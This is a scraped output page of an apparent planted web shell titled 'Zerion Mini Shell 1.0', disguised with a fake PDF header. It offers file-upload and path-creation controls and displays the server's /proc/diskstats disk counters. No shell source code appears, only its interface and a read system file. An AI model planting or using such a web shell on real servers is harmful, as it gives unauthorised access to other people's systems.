%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/
Upload File :
Create Path :
Current File : //proc/diskstats

   2       0 fd0 0 0 0 0 0 0 0 0 0 0 0
   8      16 sdb 1831571 0 1848268914 9911362 994863 57230 933669936 35151635 0 2941766 45040512
   8      17 sdb1 1831541 0 1848266074 9911347 994843 57230 933669936 35151607 0 2941727 45040138
   8       0 sda 76394719 1073496 3464684736 202480052 21519608 31308170 547425460 200707431 0 28741870 403078931
   8       1 sda1 22 0 176 7 0 0 0 0 0 7 7
   8       2 sda2 883 0 58842 1113 110 11 308 206 0 585 1318
   8       3 sda3 27064229 7501 628525466 82141539 3823316 25000320 241063304 40906671 0 8609380 123012548
   8       4 sda4 3675730 2512 76286806 4704565 11164959 3206114 165462032 133945107 0 3922783 138632429
   8       5 sda5 14750284 1009852 239129328 22730769 1163826 2646879 39770848 6335880 0 5559856 29057387
   8       6 sda6 17639109 10821 415627814 33644439 1392556 441806 15274088 7131745 0 4733706 40763390
   8       7 sda7 1324214 5158 85657638 8078982 31363 161 857864 118686 0 816203 8195083
   8       8 sda8 1314669 4692 208656584 4570870 52403 936 7819400 290689 0 1174897 4858290
   8       9 sda9 1868376 7630 283742440 8850346 74296 1709 12971352 441800 0 1410055 9288394
   8      10 sda10 1210208 4295 200395166 5338597 56420 1106 3390448 222842 0 1150878 5558236
   8      11 sda11 3553803 8030 692136262 17101998 395146 6425 48434728 2303295 0 3020538 19393915
   8      12 sda12 1157812 4355 202487558 5064872 75202 1135 4411128 395138 0 1164246 5456889
   8      13 sda13 915820 2999 172253976 3725229 11673 205 1109656 50684 0 902831 3773455
   8      14 sda14 1919465 5651 259721696 6526684 124241 1363 6860304 667487 0 2080214 7189869
  11       0 sr0 0 0 0 0 0 0 0 0 0 0 0
 253       0 dm-0 77486140 0 3464600666 204278444 49700011 0 547425152 433670316 0 28767227 638094970

Zerion Mini Shell 1.0